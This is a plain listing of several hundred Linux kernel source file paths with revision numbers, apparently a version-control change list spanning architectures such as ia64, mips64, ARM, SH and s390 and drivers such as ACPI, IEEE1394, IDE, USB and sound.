linux/include/asm-sh/system.h - 1.14 linux/include/asm-sh/ptrace.h - 1.8 linux/include/asm-sh/processor.h - 1.18 linux/include/asm-sh/pgtable.h - 1.22 linux/include/asm-sh/mmu_context.h - 1.11 linux/include/asm-sh/irq.h - 1.12 linux/include/asm-sh/io.h - 1.12 linux/include/asm-sh/hw_irq.h - 1.2 linux/include/asm-sh/delay.h - 1.8 linux/include/asm-sh/bugs.h - 1.9 linux/include/asm-ppc/m48t35.h - 1.5 linux/include/asm-i386/pci.h - 1.17 linux/drivers/pcmcia/rsrc_mgr.c - 1.16 linux/arch/m68k/mm/motorola.c - 1.6 linux/drivers/pcmcia/ti113x.h - 1.9 linux/include/asm-ppc/pci.h - 1.17 linux/include/linux/acpi.h - 1.23 linux/drivers/sound/nm256_audio.c - 1.15 linux/drivers/net/wan/cosa.c - 1.26 linux/arch/ppc/kernel/m8xx_setup.c - 1.24 linux/arch/i386/kernel/smpboot.c - 1.31 linux/arch/i386/kernel/pci-pc.c - 1.35 linux/Documentation/nmi_watchdog.txt - 1.5 linux/include/linux/pci_ids.h - 1.66 linux/drivers/net/wan/z85230.c - 1.12 linux/drivers/net/wan/sdla_x25.c - 1.15 linux/drivers/net/wan/sdla_fr.c - 1.19 linux/drivers/net/wan/sbni.c - 1.18 linux/include/linux/pmu.h - 1.7 linux/include/linux/adb.h - 1.3 linux/drivers/scsi/dec_esp.c - 1.8 linux/arch/arm/boot/compressed/head-netwinder.S - 1.5 linux/drivers/net/pcmcia/wavelan_cs.h - 1.11 linux/arch/arm/kernel/debug-armv.S - 1.12 linux/arch/arm/def-configs/victor - 1.3 linux/arch/arm/boot/compressed/vmlinux.lds.in - 1.5 linux/include/linux/highmem.h - 1.20 linux/include/asm-sh/ide.h - 1.12 linux/include/asm-arm/proc-armv/cache.h - 1.11 linux/include/asm-arm/pci.h - 1.17 linux/include/asm-arm/arch-sa1100/system.h - 1.15 linux/include/asm-arm/arch-sa1100/memory.h - 1.7 linux/include/asm-arm/arch-sa1100/keyboard.h - 1.10 linux/include/asm-arm/arch-sa1100/irqs.h - 1.7 linux/include/asm-arm/arch-sa1100/hardware.h - 1.13 linux/fs/proc/proc_misc.c - 1.33 linux/fs/bfs/dir.c - 1.14 linux/drivers/pci/pci.ids - 1.47 linux/drivers/net/sk98lin/skge.c - 1.22 linux/include/asm-i386/pgalloc.h - 1.14 linux/include/asm-arm/arch-cl7500/system.h - 1.12 linux/include/asm-arm/arch-cl7500/memory.h - 1.5 linux/arch/ppc/mm/mem_pieces.c - 1.7 linux/arch/ppc/kernel/head_4xx.S - 1.8 linux/arch/alpha/kernel/sys_nautilus.c - 1.9 linux/include/asm-ppc/walnut.h - 1.6 linux/drivers/sound/trident.c - 1.37 linux/include/linux/agp_backend.h - 1.20 linux/drivers/net/pcmcia/aironet4500_cs.c - 1.15 linux/drivers/scsi/scsi_lib.c - 1.39 linux/drivers/char/agp/agpgart_be.c - 1.37 linux/drivers/char/agp/agp.h - 1.26 linux/drivers/i2c/i2c-dev.c - 1.16 linux/drivers/i2c/i2c-core.c - 1.16 linux/drivers/i2c/i2c-algo-bit.c - 1.11 linux/drivers/i2c/Makefile - 1.8 linux/drivers/i2c/Config.in - 1.8 linux/Documentation/video4linux/bttv/Sound-FAQ - 1.11 linux/Documentation/video4linux/bttv/CARDLIST - 1.16 linux/arch/i386/kernel/acpi.c - 1.23 linux/drivers/usb/scanner.c - 1.28 linux/drivers/usb/hid.h - 1.17 linux/drivers/net/arcnet/rfc1201.c - 1.7 linux/drivers/net/arcnet/arcnet.c - 1.15 linux/net/sched/sch_ingress.c - 1.11 linux/net/sched/sch_gred.c - 1.11 linux/net/sched/sch_dsmark.c - 1.9 linux/net/decnet/dn_table.c - 1.7 linux/arch/ppc/mm/4xx_tlb.h - 1.4 linux/arch/ppc/kernel/ppc4xx_pic.c - 1.6 linux/arch/ppc/mm/4xx_tlb.c - 1.5 linux/drivers/ieee1394/raw1394.c - 1.20 linux/drivers/ieee1394/ieee1394_core.h - 1.16 linux/drivers/ieee1394/pcilynx.c - 1.23 linux/drivers/ieee1394/ieee1394_core.c - 1.24 linux/drivers/ieee1394/ohci1394.c - 1.26 linux/drivers/ieee1394/ieee1394_types.h - 1.15 linux/drivers/ieee1394/ieee1394_transactions.c - 1.13 linux/arch/arm/boot/compressed/head-sa1100.S - 1.9 linux/arch/arm/lib/csumpartial.S - 1.4 linux/arch/arm/lib/memchr.S - 1.4 linux/drivers/ieee1394/csr.h - 1.5 linux/drivers/ieee1394/ieee1394.h - 1.7 linux/drivers/ieee1394/hosts.h - 1.13 linux/drivers/ieee1394/hosts.c - 1.17 linux/arch/arm/lib/strchr.S - 1.4 linux/drivers/ieee1394/highlevel.h - 1.7 linux/arch/i386/kernel/mpparse.c - 1.18 linux/drivers/ieee1394/Config.in - 1.9 linux/drivers/ieee1394/csr.c - 1.12 linux/drivers/ieee1394/Makefile - 1.13 linux/drivers/ieee1394/highlevel.c - 1.11 linux/include/asm-ppc/shmbuf.h - 1.5 linux/include/asm-ppc/sembuf.h - 1.5 linux/include/asm-ppc/msgbuf.h - 1.5 linux/include/asm-i386/mpspec.h - 1.10 linux/include/asm-i386/io_apic.h - 1.8 linux/include/asm-i386/apicdef.h - 1.10 linux/drivers/scsi/scsi_scan.c - 1.28 linux/drivers/scsi/3w-xxxx.h - 1.13 linux/drivers/scsi/3w-xxxx.c - 1.20 linux/drivers/net/wan/sdla_chdlc.c - 1.17 linux/fs/autofs4/root.c - 1.12 linux/drivers/usb/scanner.h - 1.21 linux/drivers/sound/ac97_codec.c - 1.26 linux/drivers/net/macmace.c - 1.8 linux/arch/ia64/kernel/gate.S - 1.12 linux/drivers/atm/iphase.c - 1.15 linux/arch/ia64/kernel/entry.S - 1.24 linux/arch/ia64/kernel/efi.c - 1.16 linux/arch/ia64/kernel/acpi.c - 1.14 linux/arch/ia64/ia32/ia32_entry.S - 1.17 linux/arch/ia64/ia32/binfmt_elf32.c - 1.15 linux/drivers/acorn/char/i2c.c - 1.4 linux/arch/ia64/dig/setup.c - 1.8 linux/arch/ia64/vmlinux.lds.S - 1.11 linux/arch/ia64/dig/machvec.c - 1.3 linux/arch/ia64/tools/print_offsets.c - 1.11 linux/arch/ia64/defconfig - 1.16 linux/arch/ia64/config.in - 1.24 linux/arch/ia64/Makefile - 1.13 linux/arch/ia64/kernel/irq.c - 1.18 linux/arch/ia64/kernel/setup.c - 1.15 linux/arch/ia64/kernel/signal.c - 1.14 linux/arch/ia64/kernel/sys_ia64.c - 1.12 linux/arch/ia64/kernel/time.c - 1.14 linux/arch/ia64/kernel/traps.c - 1.15 linux/arch/ia64/kernel/unwind.c - 1.13 linux/arch/ia64/kernel/machvec.c - 1.5 linux/arch/ia64/kernel/pci.c - 1.12 linux/arch/ia64/kernel/sal.c - 1.8 linux/arch/ia64/kernel/ptrace.c - 1.17 linux/arch/ia64/kernel/process.c - 1.15 linux/arch/ia64/kernel/perfmon.c - 1.12 linux/arch/ia64/mm/tlb.c - 1.12 linux/arch/ia64/kernel/mca.c - 1.12 linux/arch/ia64/mm/init.c - 1.16 linux/arch/ia64/mm/fault.c - 1.11 linux/arch/ia64/lib/memset.S - 1.6 linux/arch/ia64/mm/extable.c - 1.5 linux/arch/ia64/kernel/mca_asm.S - 1.11 linux/drivers/sound/via82cxxx_audio.c - 1.29 linux/drivers/net/gmac.c - 1.15 linux/include/asm-ia64/iosapic.h - 1.7 linux/include/asm-ia64/ia32.h - 1.12 linux/include/asm-ia64/fpu.h - 1.2 linux/include/asm-ia64/bitops.h - 1.10 linux/include/asm-ia64/atomic.h - 1.7 linux/include/asm-ia64/smp.h - 1.10 linux/include/asm-ia64/sal.h - 1.12 linux/include/asm-ia64/processor.h - 1.19 linux/include/asm-ia64/pci.h - 1.15 linux/include/asm-ia64/pal.h - 1.11 linux/include/asm-ia64/ptrace.h - 1.10 linux/include/asm-ia64/machvec_init.h - 1.5 linux/include/asm-ia64/machvec_sn1.h - 1.8 linux/include/asm-ia64/mca.h - 1.8 linux/include/asm-ia64/mmu_context.h - 1.9 linux/include/asm-ia64/unistd.h - 1.20 linux/include/asm-ia64/unwind.h - 1.6 linux/include/asm-ia64/unaligned.h - 1.4 linux/include/asm-ia64/system.h - 1.15 linux/include/asm-arm/proc-armv/locks.h - 1.5 linux/drivers/net/8139too.c - 1.40 linux/arch/arm/mm/consistent.c - 1.10 linux/drivers/scsi/pcmcia/qlogic_stub.c - 1.7 linux/drivers/scsi/pcmcia/fdomain_stub.c - 1.7 linux/drivers/scsi/pcmcia/aha152x_stub.c - 1.8 linux/drivers/net/skfp/fplustm.c - 1.5 linux/net/bridge/br_fdb.c - 1.5 linux/net/bridge/br_stp_bpdu.c - 1.4 linux/fs/lockd/svc4proc.c - 1.8 linux/net/bridge/br_private.h - 1.8 linux/net/bridge/br_input.c - 1.11 linux/net/bridge/br_if.c - 1.10 linux/arch/mips/ddb5074/time.c - 1.4 linux/arch/mips/ddb5074/setup.c - 1.7 linux/arch/mips/ddb5074/nile4.c - 1.4 linux/arch/mips/ddb5074/prom.c - 1.5 linux/arch/mips/ddb5074/pci.c - 1.9 linux/arch/mips/lib/r3k_dump_tlb.c - 1.5 linux/arch/mips/ddb5074/irq.c - 1.6 linux/arch/mips/defconfig-decstation - 1.11 linux/arch/mips/ddb5074/int-handler.S - 1.4 linux/arch/mips/defconfig-ip22 - 1.12 linux/arch/mips/ddb5074/Makefile - 1.5 linux/drivers/video/matrox/matroxfb_misc.c - 1.7 linux/drivers/video/matrox/matroxfb_crtc2.c - 1.9 linux/drivers/video/matrox/matroxfb_base.h - 1.12 linux/drivers/video/matrox/matroxfb_base.c - 1.18 linux/drivers/video/matrox/matroxfb_Ti3026.c - 1.8 linux/drivers/video/matrox/matroxfb_DAC1064.c - 1.12 linux/drivers/net/tulip/tulip_core.c - 1.43 linux/drivers/net/ioc3-eth.c - 1.19 linux/include/asm-mips64/io.h - 1.10 linux/include/asm-mips64/ide.h - 1.11 linux/include/asm-mips64/fcntl.h - 1.11 linux/include/asm-mips64/elf.h - 1.10 linux/include/asm-mips64/dma.h - 1.6 linux/include/asm-mips64/div64.h - 1.5 linux/include/asm-mips64/delay.h - 1.8 linux/include/asm-mips64/cpu.h - 1.7 linux/include/asm-mips64/checksum.h - 1.7 linux/include/asm-mips64/cache.h - 1.7 linux/include/asm-mips64/bootinfo.h - 1.9 linux/include/asm-mips64/bitops.h - 1.10 linux/include/asm-mips64/atomic.h - 1.8 linux/include/asm-mips64/asm.h - 1.7 linux/include/asm-mips64/addrspace.h - 1.7 linux/include/asm-mips64/a.out.h - 1.5 linux/include/asm-mips/sgi/sgint23.h - 1.6 linux/include/asm-mips/sgi/sgimc.h - 1.5 linux/include/asm-mips/sgi/sgihpc.h - 1.5 linux/include/asm-mips/sgi/sgi.h - 1.4 linux/include/asm-mips/highmem.h - 1.7 linux/include/asm-mips/div64.h - 1.6 linux/include/asm-mips64/irq.h - 1.7 linux/include/linux/matroxfb.h - 1.4 linux/include/asm-mips64/sn/sn0/addrs.h - 1.5 linux/include/asm-mips64/sn/addrs.h - 1.5 linux/include/linux/ac97_codec.h - 1.15 linux/include/asm-mips64/signal.h - 1.5 linux/include/asm-mips64/sigcontext.h - 1.5 linux/include/asm-mips64/watch.h - 1.4 linux/include/asm-mips64/sgiarcs.h - 1.6 linux/include/asm-mips64/sgi/sgint23.h - 1.8 linux/include/asm-mips64/sgi/sgimc.h - 1.4 linux/include/asm-mips64/sgi/sgihpc.h - 1.6 linux/include/asm-mips64/serial.h - 1.9 linux/include/asm-mips64/semaphore.h - 1.8 linux/include/asm-mips64/user.h - 1.4 linux/include/asm-mips64/unistd.h - 1.10 linux/include/asm-mips64/semaphore-helper.h - 1.6 linux/include/asm-mips64/scatterlist.h - 1.5 linux/include/asm-mips64/unaligned.h - 1.7 linux/include/asm-mips64/reg.h - 1.2 linux/include/asm-mips64/r4kcacheops.h - 1.5 linux/include/asm-mips64/r4kcache.h - 1.5 linux/include/asm-mips64/r10kcacheops.h - 1.4 linux/include/asm-mips64/r10kcache.h - 1.5 linux/include/asm-mips64/ptrace.h - 1.7 linux/include/asm-mips64/processor.h - 1.16 linux/include/asm-mips64/posix_types.h - 1.6 linux/include/asm-mips64/pgtable.h - 1.13 linux/include/asm-mips64/uaccess.h - 1.8 linux/include/asm-mips64/pci.h - 1.13 linux/include/asm-mips64/param.h - 1.5 linux/include/asm-mips64/page.h - 1.8 linux/include/asm-mips64/timex.h - 1.5 linux/include/asm-mips64/system.h - 1.10 linux/include/asm-mips64/stat.h - 1.5 linux/include/asm-mips64/stackframe.h - 1.6 linux/include/asm-mips64/ipc.h - 1.3 linux/include/asm-mips64/mmu_context.h - 1.10 linux/include/asm-mips64/sn/sn0/hubmd.h - 1.6 linux/include/asm-mips64/keyboard.h - 1.6 linux/include/asm-mips64/mipsregs.h - 1.11 linux/include/asm-mips64/m48t35.h - 1.2 linux/include/asm-mips64/mc146818rtc.h - 1.6 linux/arch/mips64/defconfig - 1.22 linux/arch/mips64/mm/umap.c - 1.8 linux/arch/mips64/mm/init.c - 1.10 linux/arch/mips64/mm/Makefile - 1.8 linux/arch/mips64/mm/fault.c - 1.13 linux/arch/mips64/lib/strlen_user.S - 1.5 linux/arch/mips64/lib/strnlen_user.S - 1.6 linux/arch/mips64/lib/strncpy_user.S - 1.4 linux/arch/mips64/lib/memcpy.S - 1.7 linux/drivers/atm/fore200e.c - 1.15 linux/arch/mips64/mm/andes.c - 1.12 linux/arch/mips64/lib/kbd-no.c - 1.4 linux/arch/mips64/lib/ide-std.c - 1.5 linux/arch/mips64/lib/ide-no.c - 1.5 linux/arch/mips64/lib/dump_tlb.c - 1.6 linux/arch/mips64/lib/Makefile - 1.7 linux/arch/mips64/ld.script.elf64 - 1.7 linux/arch/mips64/kernel/traps.c - 1.10 linux/arch/mips64/kernel/unaligned.c - 1.9 linux/arch/mips64/defconfig-ip22 - 1.14 linux/arch/mips64/kernel/binfmt_elf32.c - 1.9 linux/arch/mips64/kernel/scall_o32.S - 1.11 linux/arch/mips64/Makefile - 1.12 linux/arch/mips64/mm/r4xx0.c - 1.13 linux/arch/mips64/mm/loadmmu.c - 1.9 linux/arch/mips64/kernel/syscall.c - 1.12 linux/arch/mips64/kernel/signal32.c - 1.12 linux/arch/mips64/kernel/signal.c - 1.10 linux/arch/mips64/kernel/setup.c - 1.11 linux/arch/mips64/boot/Makefile - 1.6 linux/arch/mips64/kernel/linux32.c - 1.16 linux/arch/mips64/kernel/scall_64.S - 1.13 linux/arch/mips64/defconfig-ip27 - 1.13 linux/arch/mips64/kernel/Makefile - 1.8 linux/arch/mips64/kernel/branch.c - 1.5 linux/arch/mips64/kernel/entry.S - 1.10 linux/arch/mips64/kernel/head.S - 1.8 linux/arch/mips64/kernel/r4k_switch.S - 1.7 linux/arch/mips64/kernel/mips64_ksyms.c - 1.12 linux/arch/mips64/kernel/proc.c - 1.9 linux/arch/mips64/kernel/process.c - 1.11 linux/arch/mips64/kernel/ptrace.c - 1.11 linux/arch/mips64/kernel/r4k_fpu.S - 1.5 linux/arch/mips64/kernel/r4k_genex.S - 1.7 linux/drivers/net/bonding.c - 1.15 linux/include/linux/if_bonding.h - 1.8 linux/drivers/usb/pegasus.c - 1.28 linux/include/asm-sh/scatterlist.h - 1.3 linux/include/asm-sh/pgalloc.h - 1.6 linux/include/asm-sh/pci.h - 1.12 linux/drivers/char/sh-sci.h - 1.9 linux/drivers/char/sh-sci.c - 1.18 linux/arch/sh/kernel/fpu.c - 1.5 linux/arch/sh/kernel/cf-enabler.c - 1.6 linux/drivers/usb/serial/ftdi_sio.h - 1.8 linux/drivers/sound/awe_wave.c - 1.12 linux/arch/ia64/kernel/irq_ia64.c - 1.13 linux/drivers/ide/ide.c - 1.42 linux/drivers/ide/ide-proc.c - 1.10 linux/drivers/ide/ide-probe.c - 1.22 linux/drivers/ide/ide-pnp.c - 1.7 linux/drivers/ide/ide-floppy.c - 1.15 linux/drivers/ide/ide-dma.c - 1.17 linux/drivers/ide/ide-cd.c - 1.25 linux/drivers/ide/Makefile - 1.18 linux/drivers/ide/Config.in - 1.22 linux/arch/arm/kernel/arch.c - 1.10 linux/include/linux/elevator.h - 1.8 linux/net/ipv4/netfilter/ipt_REJECT.c - 1.17 linux/net/ipv4/netfilter/ipt_MIRROR.c - 1.9 linux/net/ipv4/netfilter/ip_tables.c - 1.16 linux/net/ipv4/netfilter/ip_nat_ftp.c - 1.10 linux/net/ipv4/netfilter/ip_nat_core.c - 1.13 linux/net/ipv4/netfilter/ip_conntrack_ftp.c - 1.12 linux/net/ipv4/netfilter/ip_conntrack_core.c - 1.17 linux/net/ipv4/netfilter/Makefile - 1.15 linux/net/ipv4/netfilter/Config.in - 1.11 linux/include/linux/netfilter_ipv4/lockhelp.h - 1.3 linux/include/linux/netfilter_ipv4/listhelp.h - 1.3 linux/include/linux/netfilter_ipv4/ipt_REJECT.h - 1.4 linux/include/linux/netfilter_ipv4/ip_conntrack_core.h - 1.6 linux/drivers/char/wdt_pci.c - 1.11 linux/arch/i386/kernel/pci-irq.c - 1.25 linux/include/linux/nfs_xdr.h - 1.7 linux/include/asm-arm/arch-shark/time.h - 1.7 linux/include/asm-arm/arch-shark/system.h - 1.6 linux/include/asm-arm/arch-shark/memory.h - 1.6 linux/fs/nfs/nfs3proc.c - 1.11 linux/drivers/usb/serial/ftdi_sio.c - 1.30 linux/drivers/usb/serial/usbserial.c - 1.29 linux/drivers/usb/serial/visor.c - 1.31 linux/arch/ia64/kernel/smpboot.c - 1.10 linux/Documentation/ia64/efirtc.txt - 1.4 linux/drivers/sound/i810_audio.c - 1.28 linux/drivers/sound/emu10k1/mixer.c - 1.9 linux/drivers/sound/emu10k1/main.c - 1.18 linux/drivers/sound/emu10k1/hwaccess.h - 1.10 linux/drivers/sound/emu10k1/efxmgr.c - 1.7 linux/drivers/net/pppoe.c - 1.20 linux/arch/ppc/xmon/start_8xx.c - 1.5 linux/arch/ppc/kernel/m8260_setup.c - 1.16 linux/arch/ppc/8260_io/uart.c - 1.12 linux/arch/ppc/8260_io/enet.c - 1.10 linux/include/asm-s390/page.h - 1.8 linux/arch/s390/config.in - 1.13 linux/include/asm-s390/irq.h - 1.9 linux/include/asm-s390/setup.h - 1.7 linux/arch/s390/kernel/head.S - 1.9 linux/drivers/s390/net/iucv.c - 1.12 linux/drivers/s390/net/iucv.h - 1.5 linux/drivers/s390/net/Makefile - 1.6 linux/drivers/s390/misc/chandev.c - 1.12 linux/drivers/s390/char/con3215.c - 1.9 linux/include/asm-s390/s390io.h - 1.5 linux/drivers/s390/block/dasd_eckd.c - 1.10 linux/drivers/s390/block/dasd.c - 1.23 linux/drivers/s390/Config.in - 1.10 linux/include/asm-s390/pgtable.h - 1.12 linux/Documentation/s390/cds.txt - 1.6 linux/arch/arm/def-configs/graphicsclient - 1.7 linux/arch/arm/def-configs/lusl7200 - 1.3 linux/include/asm-arm/arch-sa1100/time.h - 1.5 linux/arch/s390/kernel/s390_ksyms.c - 1.11 linux/arch/s390/kernel/setup.c - 1.11 linux/arch/s390/mm/init.c - 1.11 linux/arch/sh/kernel/irq_ipr.c - 1.7 linux/net/ipv6/netfilter/ip6_tables.c - 1.13 linux/arch/sh/kernel/io_se.c - 1.6 linux/arch/mips64/kernel/smp.c - 1.12 linux/include/asm-mips64/sn/launch.h - 1.4 linux/arch/sh/kernel/setup_se.c - 1.4 linux/include/asm-mips64/smplock.h - 1.2 linux/arch/mips64/kernel/ioctl32.c - 1.11 linux/include/asm-mips64/smp.h - 1.8 linux/include/asm-mips64/hw_irq.h - 1.3 linux/include/asm-arm/arch-l7200/system.h - 1.6 linux/include/asm-arm/arch-l7200/memory.h - 1.5 linux/include/linux/sisfb.h - 1.8 linux/kdb/kdb_bt.c - 1.18 linux/include/linux/kdb.h - 1.33 linux/kdb/modules/Makefile - 1.18 linux/kdb/kdbmain.c - 1.40 linux/include/asm-i386/kdbprivate.h - 1.20 linux/arch/i386/kdb/kdba_io.c - 1.22 linux/kdb/modules/kdbm_pg.c - 1.69 linux/include/asm-ppc/backlight.h - 1.6 linux/include/asm-ppc/time.h - 1.10 linux/drivers/usb/storage/usb.h - 1.13 linux/drivers/usb/storage/usb.c - 1.18 linux/drivers/usb/storage/transport.h - 1.10 linux/drivers/usb/storage/transport.c - 1.20 linux/drivers/usb/storage/protocol.h - 1.5 linux/drivers/usb/storage/protocol.c - 1.9 linux/include/asm-sh/keyboard.h - 1.5 linux/include/asm-arm/memory.h - 1.4 linux/include/asm-arm/mc146818rtc.h - 1.3 linux/drivers/acpi/tables/tbxface.c - 1.8 linux/drivers/acpi/tables/tbutils.c - 1.8 linux/drivers/acpi/tables/tbinstal.c - 1.8 linux/drivers/acpi/tables/tbget.c - 1.8 linux/drivers/acpi/tables.c - 1.3 linux/drivers/acpi/resources/rsxface.c - 1.8 linux/drivers/acpi/resources/rsutils.c - 1.8 linux/drivers/acpi/resources/rsmisc.c - 1.7 linux/drivers/acpi/resources/rsmemory.c - 1.7 linux/drivers/acpi/resources/rslist.c - 1.8 linux/drivers/acpi/resources/rsirq.c - 1.7 linux/drivers/acpi/resources/rsio.c - 1.7 linux/drivers/acpi/resources/rsdump.c - 1.8 linux/drivers/acpi/resources/rscreate.c - 1.8 linux/drivers/acpi/resources/rscalc.c - 1.8 linux/drivers/acpi/resources/rsaddr.c - 1.7 linux/drivers/acpi/parser/psxface.c - 1.8 linux/drivers/acpi/parser/pswalk.c - 1.8 linux/drivers/acpi/parser/psutils.c - 1.8 linux/drivers/acpi/parser/pstree.c - 1.8 linux/drivers/acpi/parser/psscope.c - 1.8 linux/drivers/acpi/parser/psparse.c - 1.9 linux/drivers/acpi/parser/psopcode.c - 1.8 linux/drivers/acpi/parser/psargs.c - 1.9 linux/drivers/acpi/os.c - 1.12 linux/drivers/acpi/namespace/nsxfobj.c - 1.11 linux/drivers/acpi/namespace/nsxfname.c - 1.8 linux/drivers/acpi/namespace/nswalk.c - 1.7 linux/drivers/acpi/namespace/nsutils.c - 1.8 linux/arch/arm/kernel/ptrace.h - 1.3 linux/drivers/acpi/namespace/nssearch.c - 1.9 linux/drivers/acpi/namespace/nsobject.c - 1.8 linux/drivers/acpi/namespace/nsnames.c - 1.9 linux/drivers/acpi/namespace/nsload.c - 1.8 linux/drivers/acpi/namespace/nseval.c - 1.9 linux/drivers/acpi/namespace/nsalloc.c - 1.8 linux/drivers/acpi/namespace/nsaccess.c - 1.9 linux/arch/arm/mm/proc-arm720.S - 1.10 linux/arch/i386/kernel/i387.c - 1.8 linux/drivers/acpi/include/amlcode.h - 1.8 linux/drivers/acpi/include/actypes.h - 1.11 linux/drivers/acpi/include/actables.h - 1.8 linux/drivers/acpi/include/acpixf.h - 1.9 linux/drivers/acpi/include/acpiosxf.h - 1.8 linux/drivers/acpi/include/acpi.h - 1.5 linux/drivers/acpi/include/acobject.h - 1.8 linux/drivers/acpi/include/acexcep.h - 1.7 linux/drivers/acpi/hardware/hwregs.c - 1.9 linux/drivers/acpi/hardware/hwgpe.c - 1.8 linux/drivers/acpi/hardware/hwacpi.c - 1.9 linux/drivers/acpi/events/evxfregn.c - 1.9 linux/drivers/acpi/events/evxfevnt.c - 1.8 linux/drivers/acpi/events/evxface.c - 1.8 linux/drivers/acpi/events/evsci.c - 1.8 linux/drivers/acpi/events/evrgnini.c - 1.8 linux/drivers/acpi/events/evregion.c - 1.10 linux/drivers/acpi/events/evmisc.c - 1.8 linux/drivers/acpi/events/evevent.c - 1.11 linux/drivers/acpi/ec.c - 1.8 linux/drivers/acpi/driver.c - 1.13 linux/drivers/acpi/dispatcher/dswstate.c - 1.9 linux/drivers/acpi/dispatcher/dswscope.c - 1.8 linux/drivers/acpi/dispatcher/dswload.c - 1.8 linux/drivers/acpi/dispatcher/dswexec.c - 1.9 linux/drivers/acpi/dispatcher/dsutils.c - 1.8 linux/drivers/acpi/dispatcher/dsopcode.c - 1.9 linux/arch/ia64/ia32/ia32_ioctl.c - 1.5 linux/drivers/acpi/dispatcher/dsobject.c - 1.9 linux/drivers/acpi/dispatcher/dsmthdat.c - 1.7 linux/drivers/acpi/dispatcher/dsmethod.c - 1.8 linux/drivers/acpi/dispatcher/dsfield.c - 1.8 linux/arch/ia64/kernel/brl_emu.c - 1.4 linux/arch/ia64/kernel/ia64_ksyms.c - 1.11 linux/drivers/acpi/Makefile - 1.11 linux/arch/ia64/kernel/palinfo.c - 1.9 linux/include/asm-arm/arch-sa1100/SA-1100.h - 1.6 linux/drivers/ieee1394/video1394.c - 1.21 linux/arch/ia64/kernel/unwind_i.h - 1.6 linux/arch/mips/cobalt/Makefile - 1.5 linux/arch/mips/cobalt/int-handler.S - 1.6 linux/arch/mips/cobalt/pci.c - 1.6 linux/arch/mips/cobalt/reset.c - 1.6 linux/arch/mips/cobalt/setup.c - 1.6 linux/arch/mips/cobalt/via.c - 1.5 linux/arch/mips/defconfig-cobalt - 1.8 linux/arch/mips/defconfig-rm200 - 1.7 linux/include/linux/mtd/mtd.h - 1.6 linux/net/ipv4/tcp_minisocks.c - 1.14 linux/Documentation/arm/SA1100/CERF - 1.2 linux/include/asm-sparc/kmap_types.h - 1.6 linux/include/asm-sh/machvec.h - 1.5 linux/include/asm-arm/proc-armo/locks.h - 1.3 linux/include/asm-arm/mach/dma.h - 1.3 linux/include/asm-arm/mach/arch.h - 1.6 linux/drivers/usb/storage/sddr09.c - 1.16 linux/drivers/sound/cs46xx.c - 1.20 linux/drivers/media/video/tvmixer.c - 1.10 linux/drivers/media/video/tuner.h - 1.10 linux/drivers/media/video/tuner.c - 1.12 linux/drivers/media/video/tda9875.c - 1.11 linux/drivers/media/video/tda7432.c - 1.12 linux/drivers/media/video/msp3400.c - 1.13 linux/drivers/media/video/cpia_pp.c - 1.6 linux/drivers/media/video/bttv.h - 1.14 linux/drivers/media/video/bttv-if.c - 1.8 linux/drivers/media/video/bttv-driver.c - 1.20 linux/drivers/media/video/bttv-cards.c - 1.14 linux/drivers/media/video/audiochip.h - 1.4 linux/drivers/media/video/Makefile - 1.8 linux/drivers/media/video/Config.in - 1.7 linux/arch/arm/boot/bootp/Makefile - 1.4 linux/arch/arm/boot/bootp/bootp.lds - 1.3 linux/arch/arm/boot/bootp/init.S - 1.5 linux/arch/arm/boot/compressed/head-ftvpci.S - 1.3 linux/arch/arm/boot/compressed/head-l7200.S - 1.3 linux/arch/arm/boot/compressed/hw-bse.c - 1.2 linux/drivers/input/keybdev.c - 1.9 linux/arch/sh/kernel/led_se.c - 1.3 linux/arch/arm/tools/mach-types - 1.13 linux/arch/arm/mach-footbridge/arch.c - 1.5 linux/kdb/ChangeLog - 1.35 linux/drivers/md/raid5.c - 1.25 linux/Documentation/cciss.txt - 1.6 linux/arch/arm/mach-sa1100/Makefile - 1.8 linux/arch/arm/mach-sa1100/leds.c - 1.6 linux/arch/arm/mm/proc-arm920.S - 1.7 linux/arch/ppc/8260_io/fcc_enet.c - 1.6 linux/drivers/acpi/dispatcher/Makefile - 1.4 linux/drivers/acpi/events/Makefile - 1.4 linux/drivers/acpi/hardware/Makefile - 1.4 linux/drivers/acpi/include/acconfig.h - 1.9 linux/drivers/acpi/include/acdebug.h - 1.8 linux/drivers/acpi/include/acdispat.h - 1.7 linux/drivers/acpi/include/acevents.h - 1.8 linux/drivers/acpi/include/acglobal.h - 1.8 linux/drivers/acpi/include/achware.h - 1.7 linux/drivers/acpi/include/acinterp.h - 1.8 linux/drivers/acpi/include/aclocal.h - 1.9 linux/drivers/acpi/include/acmacros.h - 1.8 linux/drivers/acpi/include/acnamesp.h - 1.9 linux/drivers/acpi/include/acoutput.h - 1.7 linux/drivers/acpi/include/acparser.h - 1.6 linux/drivers/acpi/include/acresrc.h - 1.5 linux/drivers/acpi/include/actbl.h - 1.7 linux/drivers/acpi/namespace/Makefile - 1.4 linux/drivers/acpi/namespace/nsdump.c - 1.6 linux/drivers/acpi/parser/Makefile - 1.4 linux/drivers/acpi/resources/Makefile - 1.4 linux/drivers/acpi/tables/Makefile - 1.4 linux/drivers/block/cciss.c - 1.25 linux/drivers/block/cciss.h - 1.8 linux/drivers/macintosh/adbhid.c - 1.6 linux/drivers/md/md.c - 1.37 linux/drivers/net/sundance.c - 1.17 linux/drivers/usb/storage/initializers.c - 1.2 linux/drivers/usb/storage/initializers.h - 1.2 linux/include/asm-arm/arch-tbox/memory.h - 1.4 linux/include/asm-arm/arch-tbox/system.h - 1.2 linux/include/asm-arm/hardware/iomd.h - 1.3 linux/include/asm-ppc/highmem.h - 1.7 linux/include/asm-ppc/kmap_types.h - 1.9 linux/include/asm-ppc/uninorth.h - 1.7 linux/mm/oom_kill.c - 1.13 linux/drivers/usb/pegasus.h - 1.10 linux/drivers/video/sis/initdef.h - 1.7 linux/drivers/video/sis/sis_main.c - 1.14 linux/drivers/media/video/tvaudio.h - 1.4 linux/drivers/media/video/tvaudio.c - 1.12 linux/drivers/media/video/bttvp.h - 1.10 linux/net/irda/irsyms.c - 1.6 linux/include/asm-i386/cpufeature.h - 1.4 linux/include/asm-mips/module.h - 1.3 linux/include/asm-mips64/module.h - 1.3 linux/include/linux/ethtool.h - 1.13 linux/arch/parisc/kernel/drivers.c - 1.4 linux/arch/parisc/kernel/entry.S - 1.4 linux/arch/alpha/lib/ev6-stxncpy.S - 1.4 linux/arch/arm/def-configs/sherman - 1.3 linux/arch/parisc/kernel/traps.c - 1.6 linux/arch/parisc/kernel/sba_iommu.c - 1.6 linux/arch/i386/kernel/dmi_scan.c - 1.16 linux/drivers/sound/ymfpci.h - 1.7 linux/drivers/sound/ymfpci.c - 1.18 